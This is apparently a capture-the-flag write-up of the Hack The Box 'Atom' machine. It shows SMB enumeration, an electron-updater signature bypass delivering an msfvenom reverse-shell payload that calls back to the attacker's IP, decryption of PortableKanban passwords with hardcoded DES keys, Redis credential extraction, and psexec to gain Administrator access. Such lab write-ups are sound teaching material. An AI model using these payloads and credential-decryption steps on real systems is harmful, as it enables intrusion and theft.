

Enumeration.

Nmap port scanning.

```
# Nmap 7.91 scan initiated Sun Jul 11 12:02:21 2021 as: nmap -p- --open -T5 -v
-n -Pn -oN allPorts 10.10.10.237
Nmap scan report for 10.10.10.237
Host is up (0.14s latency).
Not shown: 65529 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
443/tcp   open  https
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
6379/tcp  open  redis

Read data files from: /usr/bin/./share/nmap
# Nmap done at Sun Jul 11 12:05:54 2021 -- 1 IP address (1 host up) scanned in
212.42 seconds
```

```
# Nmap 7.91 scan initiated Sun Jul 11 12:08:52 2021 as: nmap -sC -sV -
p80,135,443,445,5985,6379 -oN targeted 10.10.10.237
Nmap scan report for 10.10.10.237
Host is up (0.17s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http        Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j
PHP/7.3.27)
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_ http-title: Heed Solutions
135/tcp   open  msrpc        Microsoft Windows RPC
443/tcp   open  ssl/http     Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j
PHP/7.3.27)
```

```
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup:
WORKGROUP)
6379/tcp open redis Redis key-value store
59585/tcp filtered unknown
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Host script results:

```
|_clock-skew: mean: 2h32m25s, deviation: 4h02m32s, median: 12m23s
| smb-os-discovery:
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: ATOM
|   NetBIOS computer name: ATOM\x00
|   Workgroup: WORKGROUP\x00
|_ System time: 2021-07-11T10:21:52-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_ Message signing enabled but not required
| smb2-time:
|   date: 2021-07-11T17:21:50
|_ start_date: N/A
```

Service detection performed. Please report any incorrect results at
<https://nmap.org/submit/> .

```
# Nmap done at Sun Jul 11 12:10:05 2021 -- 1 IP address (1 host up) scanned in
72.24 seconds
```

I notice that has a SMB client, lets enumerate with it.

```
smbmap -u anonymous -p anonymous -H 10.10.10.237
[+] Guest session      IP: 10.10.10.237:445    Name: unknown
      Disk                                     Permissions
Comment
-----
ADMIN$                                     NO ACCESS
Remote Admin
C$                                         NO ACCESS
Default share
IPC$                                       READ ONLY
Remote IPC
Software_Updates                          READ, WRITE
```

There are one readable directory, `Software_Updates`.

Lets check what it has.

```
smbmap -u anonymous -p anonymous -H 10.10.10.237 -R Software_Updates
took 6s
[+] Guest session      IP: 10.10.10.237:445    Name: unknown
      Disk                                     Permissions
Comment
-----
Software_Updates                          READ, WRITE
.\Software_Updates\*
dr--r--r--      0 Sun Jul 11 13:10:20 2021  .
dr--r--r--      0 Sun Jul 11 13:10:20 2021  ..
dr--r--r--      0 Sun Jul 11 13:10:20 2021  client1
dr--r--r--      0 Sun Jul 11 13:10:20 2021  client2
dr--r--r--      0 Sun Jul 11 13:10:20 2021  client3
fr--r--r--     35202 Fri Apr 9 06:18:08 2021
UAT_Testing_Procedures.pdf
```

Look like we got some client's directories, but without name or credentials, and a `.pdf` lets get that file and read it.

```
smbmap -u anonymous -p anonymous -H 10.10.10.237 --download
Software_Updates/UAT_Testing_Procedures.pdf
✗ INT
[+] Starting download: Software_Updates\UAT_Testing_Procedures.pdf (35202
bytes)
[+] File output to:
/home/oredreim/Documents/hacking/htb/atom/nmap/10.10.10.237-
Software_Updates_UAT_Testing_Procedures.pdf
```

We follow the below process before releasing our products.

1. Build and install the application to make sure it works as we expect it to be.
2. Make sure that the update server running is in a private hardened instance. To initiate the QA process, just place the updates in one of the "client" folders, and

the appropriate QA team will test it to ensure it finds an update and installs it correctly.

3. Follow the checklist to see if all given features are working as expected by the developer.

So, after reading the document, I notice that it says I can update file to the clients directories, and also says that it will test, upgrade and install the files. Now, what the hell do, cause i have no idea how can i update the files.

Well! actually I do, I can use and other tool, `smbclient`, and get access as `anonymous` user and I can put files on the `Software_Updates`.

Then I notice that there is some crazy things, electron builder.

What in the hell is an `electron-builder`. But before start searching, lets take a look at the web site, cause there is also something interesting to get, there is a file I can download, so lets move on and do it and check what it has.

```
heed.exe
heed_setup_v1.0.0.zip
```

So now, lets unzip de `.exe` cause i cant execute that file but i can check what it has inside with `7z x heed.exe`.

And it drop us and other directory that Im gonna change the name cause i dont like that name.

```
~ /Documents/hacking/htb/atom/content/heed on P main !29 ?8 > l
drwx----- oredreim oredreim 156 B Mon Jul 12 10:01:13 2021 .
drwxr-xr-x oredreim oredreim 124 B Mon Jul 12 10:00:57 2021 ..
drwxr-xr-x oredreim oredreim 806 B Mon Jul 12 10:01:42 2021 other
-rw-r--r-- oredreim oredreim 391 KB Fri Apr 9 17:07:30 2021 nsis7z.dll
-rw-r--r-- oredreim oredreim 4.5 KB Fri Apr 9 17:07:30 2021 nsProcess.dll
-rw-r--r-- oredreim oredreim 9.0 KB Fri Apr 9 17:07:30 2021 SpiderBanner.dll
-rw-r--r-- oredreim oredreim 101 KB Fri Apr 9 17:07:30 2021 StdUtils.dll
-rw-r--r-- oredreim oredreim 12 KB Fri Apr 9 17:07:30 2021 System.dll
-rw-r--r-- oredreim oredreim 3.0 KB Fri Apr 9 17:07:30 2021 WinShell.dll
```

This is what I got. And there is also and other `.zip` file so lets keep unzipping.

```
~ /Documents/hacking/htb/atom/content/heed/other on P main !29 ?8 > l
drwxr-xr-x oredreim oredreim 806 B Mon Jul 12 10:01:42 2021 .
drwx----- oredreim oredreim 156 B Mon Jul 12 10:01:13 2021 ..
drwx----- oredreim oredreim 682 B Fri Apr 9 06:37:24 2021 locales
drwx----- oredreim oredreim 110 B Fri Apr 9 06:37:24 2021 resources
drwx----- oredreim oredreim 46 B Fri Apr 9 06:37:24 2021 swiftshader
-rw-r--r-- oredreim oredreim 176 KB Fri Apr 9 06:37:24 2021 chrome_100_percent.pak
-rw-r--r-- oredreim oredreim 287 KB Fri Apr 9 06:37:24 2021 chrome_200_percent.pak
-rw-r--r-- oredreim oredreim 4.1 MB Fri Apr 9 06:37:24 2021 d3dcompiler_47.dll
-rw-r--r-- oredreim oredreim 2.0 MB Fri Apr 9 06:37:24 2021 ffmpeg.dll
-rw-r--r-- oredreim oredreim 95 MB Fri Apr 9 06:37:24 2021 heedv1.exe
-rw-r--r-- oredreim oredreim 9.8 MB Fri Apr 9 06:37:24 2021 icudtl.dat
-rw-r--r-- oredreim oredreim 137 KB Fri Apr 9 06:37:24 2021 libEGL.dll
-rw-r--r-- oredreim oredreim 5.2 MB Fri Apr 9 06:37:24 2021 libGLESv2.dll
-rw-r--r-- oredreim oredreim 1.0 KB Fri Apr 9 06:37:24 2021 LICENSE.electron.txt
-rw-r--r-- oredreim oredreim 2.0 MB Fri Apr 9 06:37:24 2021 LICENSES.chromium.html
-rw-r--r-- oredreim oredreim 81 KB Fri Apr 9 06:37:24 2021 natives_blob.bin
-rw-r--r-- oredreim oredreim 8.1 MB Fri Apr 9 06:37:24 2021 resources.pak
-rw-r--r-- oredreim oredreim 281 KB Fri Apr 9 06:37:24 2021 snapshot_blob.bin
-rw-r--r-- oredreim oredreim 673 KB Fri Apr 9 06:37:24 2021 v8_context_snapshot.bin
-rw-r--r-- oredreim oredreim 342 KB Fri Apr 9 06:37:24 2021 VkICD_mock_icd.dll
-rw-r--r-- oredreim oredreim 3.2 MB Fri Apr 9 06:37:24 2021 VkLayer_core_validation.dll
-rw-r--r-- oredreim oredreim 2.2 MB Fri Apr 9 06:37:24 2021 VkLayer_object_tracker.dll
-rw-r--r-- oredreim oredreim 2.8 MB Fri Apr 9 06:37:24 2021 VkLayer_parameter_validation.dll
-rw-r--r-- oredreim oredreim 2.0 MB Fri Apr 9 06:37:24 2021 VkLayer_threading.dll
-rw-r--r-- oredreim oredreim 2.1 MB Fri Apr 9 06:37:24 2021 VkLayer_unique_objects.dll
```

There you go, finally we got everything to check in. Now lets move into the directory `resources` and we see some file, if I check the `.yaml` file I see there is and other domain `update.atom.htb`.

```
Δ ~ /Documents/hacking/htb/atom/content/heed/other/resources on P main !29 ?8 > cat app-update.yaml
File: app-update.yaml
1 provider: generic
2 url: 'http://updates.atom.htb'
3 publisherName:
4   - HackTheBox
```

Lets put it in the Hosts.

Now lets to the `electron-builder`.

What the hell is that? after searching and reading a lot of innecesary documentations. I decide to search for an exploit and I understand that the `electron-builder` is vulnerable to RCE.

<https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html>

A Fail Open Design

As part of a security engagement for one of our customers, we have reviewed the update mechanism performed by Electron Builder, and discovered an overall lack of secure coding practices. In particular, **we identified a vulnerability that can be leveraged to bypass the signature verification check hence leading to remote command execution.**

The signature verification check performed by electron-builder is simply based on a string comparison between the installed binary's `publisherName` and the certificate's *Common Name* attribute of the update binary. During a software update, the application will request a file named `latest.yaml` from the update server, which contains the definition of the new release - including the binary filename and hashes.

Lets get the `.yaml` script.

```
version: 1.2.3
files:
  - url: v'ulnerable-app-setup-1.2.3.exe
    sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA==
    size: 44653912
path: v'ulnerable-app-1.2.3.exe
sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA==
releaseDate: '2019-11-20T11:17:02.627Z'
```


And let's create our executable `.exe` to update.

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.48 LPORT=4444 -f exe -  
o shell.exe
```

Ok I got a `.yaml` and `.exe` file to exploit the `electron-builder`. But it's not that simple, we need to change something in the `.yaml` cause if you read it, you understand that there is some encryption, `sha512` to update the file, let's do it to the `.exe` file so it won't give us problems.

```
sha512sum shell.exe | awk '{print $1}' | xxd -r -p | base64 -w 0  
6vGfWVFFa8/7YEesVXU3NmZ35QIhnPwp9otBh5AVUclt1sAGP/986KEGmnXT02KM065vm1P060HcmApKgy
```

Now put the `BASE64` on the `.yaml` script and change some things too, let's change the version cause as I read before it will upgrade the files and some other things, let's try to get one version that it may not change, and change the name file to the one we made, but check that the file must have a `.` so it will execute.

```
version: 1.33.7  
files:  
  - url: s'hell.exe  
    sha512: 6vGfWVFFa8/7YEesVXU3NmZ35QIhnPwp9otBh5AVUclt1sAGP/986KEGmnXT02KM065vm1P060HcmApKgyjf4w==  
    size: 44653912  
path: s'hell.exe  
sha512: 6vGfWVFFa8/7YEesVXU3NmZ35QIhnPwp9otBh5AVUclt1sAGP/986KEGmnXT02KM065vm1P060HcmApKgyjf4w==  
releaseDate: '2019-11-20T11:17:02.627Z'
```

Then we upload the files in one of the client's directories, and wait till we get the revershell from the port we open.

```
A* ~/Doc/hacking/h/atom/exploit on # P main 129 78 > smbclient //10.10.10.237/Software-Updates
Enter WORKGROUP\jaredrein's password:
Try "help" to get a list of possible commands.
smb: > cd client1
smb: \client1> ls
.          D          0 Mon Jul 12 11:53:51 2021
..         D          0 Mon Jul 12 11:53:51 2021
4413951 blocks of size 4096, 1366235 blocks available
smb: \client1> ls
.          D          0 Mon Jul 12 11:53:51 2021
..         D          0 Mon Jul 12 11:53:51 2021
4413951 blocks of size 4096, 1366235 blocks available
smb: \client1> put latest.yml
putting file latest.yml as \client1\latest.yml (0,6 kb/s) (average 0,6 kb/s)
smb: \client1> put x.exe x'.exe
putting file x.exe as \client1\x'.exe (17,7 kb/s) (average 8,0 kb/s)
smb: \client1> ls
.          D          0 Mon Jul 12 11:56:07 2021
..         D          0 Mon Jul 12 11:56:07 2021
latest.yml  A      384 Mon Jul 12 11:56:02 2021
x'.exe      A     7168 Mon Jul 12 11:56:07 2021
4413951 blocks of size 4096, 1366198 blocks available
smb: \client1> ls
.          D          0 Mon Jul 12 11:56:07 2021
..         D          0 Mon Jul 12 11:56:07 2021
latest.yml  A      384 Mon Jul 12 11:56:02 2021
x'.exe      A     7168 Mon Jul 12 11:56:07 2021
4413951 blocks of size 4096, 1366198 blocks available
smb: \client1>
```

```
smb: \client1> put latest.yml
putting file latest.yml as \client1\latest.yml (0,6 kb/s) (average 0,6 kb/s)
smb: \client1> put x.exe x'.exe
putting file x.exe as \client1\x'.exe (17,7 kb/s) (average 8,0 kb/s)
```

```
C:\Users\jason\Desktop>type user.txt
type user.txt
```

```
04/13/2021 02:23 AM <DIR>
0 File(s) 0 bytes
16 Dir(s) 5,594,443,776 bytes free

C:\Users\jason\Desktop>cd Desktop
cd Desktop

C:\Users\jason\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9793-C2E6

Directory of C:\Users\jason\Desktop

04/02/2021 10:29 PM <DIR>
04/02/2021 10:29 PM <DIR>
03/31/2021 02:09 AM 2,353 heedv1.lnk
03/31/2021 02:09 AM 2,353 heedv2.lnk
03/31/2021 02:09 AM 2,353 heedv3.lnk
07/12/2021 09:12 AM 34 user.txt
4 File(s) 7,093 bytes
2 Dir(s) 5,594,378,240 bytes free

C:\Users\jason\Desktop>cat user.txt
cat user.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\jason\Desktop>file user.txt
file user.txt
'file' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\jason\Desktop>type user.txt
type user.txt
9e9ed0e4d10397a766edef4ed4fede95

C:\Users\jason\Desktop>
```

Privilage Scallation.

After looking all the directories and files, I check a one in the Downloads named

PortableKanban with some file, one named **PortableKanban.cfg**.

```
type PortableKanban.cfg
{"RommigSettings":{"DataSource":"RedisServer","DbServer":"localhost","DbPort":6379,"DbEncPassword":"","DbIndex":0,"DbSsl":false,"DbTimeout":10,"FlushChanges":true,"UpdateInterval":5,"Auto
Update":true,"Caption":"My Tasks","RightClickAction":"Nothing","DateFormat":"ddd, M/d/yyyy h:mm tt","BoardForeColor":"WhiteSmoke","BoardBackColor":"DimGray","ViewTabFont":"Segoe UI, 9pt","SelectedViewTabForeColor":"WhiteSmoke","SelectedViewTabBackColor":"Black","He
aderFont":"Segoe UI, 11.4pt","HeaderShowCount":true,"HeaderShowLimit":true,"HeaderShowEstimates":true,"HeaderShowPoints":false,"HeaderForeColor":"WhiteSmoke","HeaderBackColor":"Gray","CardFont":"Segoe UI, 11.4pt","CardLines":3,"CardTextAlignment":"Center","CardShowMarks
":true,"CardShowInitials":false,"CardShowTags":true,"ThickTags":false,"DefaultTaskForeColor":"WhiteSmoke","DefaultTaskBackColor":"Gray","SelectedTaskForeColor":"WhiteSmoke","SelectedTaskBackColor":"Black","SelectedTaskFrames":false,"SelectedTaskFrameColor":"WhiteSmoke",
"SelectedTaskThickFrames":false,"WarnTasksThreshold":0,"WarnTaskForeColor":"WhiteSmoke","WarnTaskBackColor":"MediumBlue","WarnTaskFrameColor":"Goldenrod","HotTasksThreshold":1,"HotTaskForeColor":"WhiteSmoke","HotTaskBackColor":"Blue","HotTaskFrameColor":"Yellow","Overdu
eTaskForeColor":"WhiteSmoke","OverdueTaskBackColor":"OrangeRed","OverdueTaskFrameColor":"OrangeRed","WarnHotTaskFrames":false,"WarnHotTaskThickFrames":false,"BusinessDaysOnly":false,"TrackedTaskForeColor":"WhiteSmoke","TrackedTaskBackColor":"Red","ShowSubTasksInEditBox"
:true,"CheckForDuplicates":true,"WarnBeforeDeleting":true,"ProgressIncrement":5,"DisableCreated":false,"DefaultPriority":"Low","DefaultDeadlineLine":"P10","ShowTaskComments":true,"IntervalFormat":"Hours","WorkUnitDuration":1,"SelectAnyColumn":false,"ShowInfo":true,"Car
dInfoFont":"Segoe UI, 9pt","InfoTextAlignment":"Center","InfoShowPriority":true,"InfoShowTopic":true,"InfoShowPerson":true,"InfoShowCreated":true,"InfoShowDeadlineCompleted":true,"InfoShowSubtasks":false,"InfoShowEstimate":false,"InfoShowOpen":false,"InfoShowPoints":false,
"InfoShowProgress":true,"InfoShowCommentsCount":false,"InfoShowTags":false,"ShowToolTips":true,"ToolTipShowText":true,"ToolTipShowLimit":200,"ToolTipShowPriority":true,"ToolTipShowTopic":true,"ToolTipShowPerson":true,"ToolTipShowCreated"
:false,"ToolTipShowDeadlineCompleted":true,"ToolTipShowSubtasks":true,"ToolTipShowEstimate":true,"ToolTipShowOpen":true,"ToolTipShowPoints":true,"ToolTipShowProgress":true,"ToolTipShowCommentsCount":false,"ToolTipShowTags":false,"ToolTipShowCustomFields":false,"TimerWo
rkInterval":25,"TimeShortBreakInterval":5,"TimeLongBreakInterval":15,"PlaySound":1000,"ActivateWindow":false,"TaskBarProgress":true,"EnableLineTracking":true,"AlertOnNewTask":false,"AlertOnModifiedTask":false,"AlertOnCompletedTask":false,"AlertOnCanceledTask":false,"Al
ertOnReassignedTask":false,"AlertOnMovedTask":false,"AlertOnDeletedTask":false,"AlertMethod":"None","EmailLogin":true,"EmailReviewMessage":true,"EmailSmtPort":587,"EmailSmtDeliveryMethod":"Network","EmailSmtUseDefaultCredentials":false,"EmailSmtEnableSSL":false,"Ema
ilSmtTimeout":5,"EmailAttachFile":true,"EmailNewTaskSubject":"PortableKanban Notification: New task has been created","EmailDeletedTaskSubject":"PortableKanban Notification: Task has been deleted","EmailEditedTaskSubject":"PortableKanban Notification: Task has been mod
ified","EmailCompletedTaskSubject":"PortableKanban Notification: Task has been completed","EmailCanceledTaskSubject":"PortableKanban Notification: Task has been canceled","EmailReassignedTaskSubject":"PortableKanban Notification: Task has been reassigned","EmailMovedTask
Subject":"PortableKanban Notification: Task has been moved","EmailSignature":"This is automatic message."},"PluginSettings":{"Db5d226ef17424eab890b2c95c2":{"j":074079797241783a21f14293754":{"SourceColumnId":"00000000000000000000000000000000","DestinationColumn
Id":"6890568fed41c381ef9f23f8a182":{"RunOnStartup":false},"24b7aced78a4f8ab16c8db0e8559fbb":{"TopicId":"00000000000000000000000000000000","ColumnId":"00000000000000000000000000000000","FromPersonId":"00000000000000000000000000000000","ToPersonId":"00000000000000000000000000000000"},
"AutoLogin":false,"LoginUserName":"","EncLoginPassword":"","ExitOnSuspend":false,"DropFilesFolder":"Files","UseRelativePath":true,"ConfirmFileDeletion":true,"DefaultDropFilesActionOption":"Copy","CreateNewTaskForEachDroppedFile":true,"ParseDroppedEmail
s":true,"RestoreWindowsLocation":true,"DesktopShortcut":false,"DailyBackup":false,"BackupTime":"P10","BlockEscape":false,"BlackWhiteIcon":true,"ShowTimer":true,"ViewId":"00000000000000000000000000000000","SearchInSubtasks":false,"ReportIncludeComments":true,"ReportIncl
udeSubtasks":true,"ReportIncludeTimeRacks":true,"ReportIncludeCustomFields":true},"LocalSettingsMap":{"ATOM":{"Left":320,"Top":2,"Width":800,"Height":601,"Minimized":false,"Maximized":false,"FullScreen":false,"Hidden":false,"AboutBoxLeft":0,"AboutBoxTop":0,"AboutBoxWid
th":0,"AboutBoxHeight":0,"EditBoxLeft":0,"EditBoxTop":0,"EditBoxWidth":0,"EditBoxHeight":0,"EditBoxSplitterOrientation":1,"EditBoxSplitterDistance":0,"EditBoxFontSize":0,"EditBoxCommentsSortDirection":"Ascending","ReportBoxLeft":370,"ReportBoxTop":27,"ReportBoxWidth":70
0,"ReportBoxHeight":551,"SetupBoxLeft":570,"SetupBoxTop":52,"SetupBoxWidth":700,"SetupBoxHeight":501,"ViewBoxLeft":0,"ViewBoxTop":0,"ViewBoxWidth":0,"ViewBoxHeight":0,"LoginBoxLeft":520,"LoginBoxTop":202,"LoginBoxWidth":400,"LoginBoxHeight":201}}},
C:\Users\jason\Downloads>
```

This is too much information to read like that, I need to make it possible to read.


```

△ ~ ~/Documents/hacking/htb/atom/content on P main !29 ?8 > cat config | sed 's/,/\r\n/g'
{"RoamingSettings":{"DataSource":"RedisServer"
"DbServer":"localhost"
"DbPort":6379
"DbEncPassword":"0dh7N3L9aVSeHQmgK/nj7RQL8MEYCUMB"
"DbServer2":""
"DbPort2":6379
"DbEncPassword2":""
"DbIndex":0
"DbSsl":false
"DbTimeout":10
"FlushChanges":true
"UpdateInterval":5
"AutoUpdate":true
"Caption":"My Tasks"
"RightClickAction":"Nothing"
"DateTimeFormat":"ddd
M/d/yyyy h:mm tt"
"BoardForeColor":"WhiteSmoke"
"BoardBackColor":"DimGray"
"ViewTabsFont":"Segoe UI
9pt"
"SelectedViewTabForeColor":"WhiteSmoke"
"SelectedViewTabBackColor":"Black"
"HeaderFont":"Segoe UI
11.4pt"
"HeaderShowCount":true
"HeaderShowLimit":true
"HeaderShowEstimates":true
"HeaderShowPoints":false
"HeaderForeColor":"WhiteSmoke"
"HeaderBackColor":"Gray"
"CardFont":"Segoe UI
11.4pt"
"CardLines":3
"CardTextAlignment":"Center"

```

Much better!!! now lets find some credentials

```

△ ~ ~/Documents/hacking/htb/atom/content on P main !29 ?8 > cat config | sed 's/,/\r\n/g' | grep "Password"
"DbEncPassword":"0dh7N3L9aVSeHQmgK/nj7RQL8MEYCUMB"
"DbEncPassword2":""
"EncLogonPassword":""

```

I got one encrypted, I asume that it is a **BASE64** but is not that simple to decrypt this password, cause kanban do his on way, with some keys, so lets find out the keys.

I find a epxloit that use the default keys, but want to use it, Im gonna copy the keys and insert them into cyberchef, cause for me is easier.

```
def decode(hash):
    hash = base64.b64decode(hash.encode('utf-8'))
    key = DesKey(b"7ly6UznJ")
    return key.decrypt(hash, initial=b"XuVUm5fR", padding=True).decode('utf-8')
```

From Base64

Alphabet
A-Za-z0-9+/=

☒ Remove non-alphabet chars

DES Decrypt

Key
7ly6UznJ UTF8

IV
XuVUm5fR UTF8

Mode
CBC

Input
Raw

Output
Raw

0dh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb

Output
kidvscat_yes_kidvscat

As I said, it is **BASE64** so lets put that is from base64, and as in the exploit I take the keys, lets put the Deskeys, and there you go, you crack the password.

```
~/.Documents/hacking/htb/atom/exploit on P main !3 ?1 > redis-cli -h 10.10.10.237
10.10.10.237:6379> auth kidvscat_yes_kidvscat
OK
10.10.10.237:6379>
```

So, i made a connection with redis. cause thats what we are gonna use to connect with the kanban key.

I send the authentication and works.

Lets now try to list the keys. There is one interesting key, lets check it.

```
~/.Documents/hacking/htb/atom/exploit on P main !3 ?1 > redis-cli -h 10.10.10.237
10.10.10.237:6379> auth kidvscat_yes_kidvscat
OK
10.10.10.237:6379> keys *
1) "pk:ids:User"
2) "pk:urn:metadata:ffffffffff-ffff-ffff-ffff-ffffffffff"
3) "pk:ids:MetadataClass"
4) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
```

The **pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0** is the one we need.

```
10.10.10.237:6379> get "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"  
{"id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"OdH7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\\","Role":"Admin","Inactive":false,"TimeStamp":"637530169606440253"}
```

It's the key to administrator. Lets go back to **cyberchef** and decrypt the password.

From Base64

Alphabet
A-Za-z0-9+/=

☒ Remove non-alphabet chars

DES Decrypt

Key
71y6UznJ

IV
XuVUm5fR

Mode
CBC

Input
Raw

Output
Raw

Output
kidvscat_admin_@123

Looks to similar to the one we decrypted before, but this one will work with psexec.py to get administrator access.

```
A ~ /Documents/hacking/htb/atom/exploit on P main 13 25 /usr/share/doc/python3-impacket/examples/psexec.py administrator@10.10.10.237  
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation  
Password:  
[*] Requesting shares on 10.10.10.237.....  
[*] Found writable share ADMIN$  
[*] Uploading file oZliPVnE.exe  
[*] Opening SVCManager on 10.10.10.237.....  
[*] Creating service iqEb on 10.10.10.237.....  
[*] Starting service iqEb.....  
[!] Press help for extra shell commands  
Microsoft Windows [Version 10.0.19042.906]  
(c) Microsoft Corporation. All rights reserved.  
C:\WINDOWS\system32>
```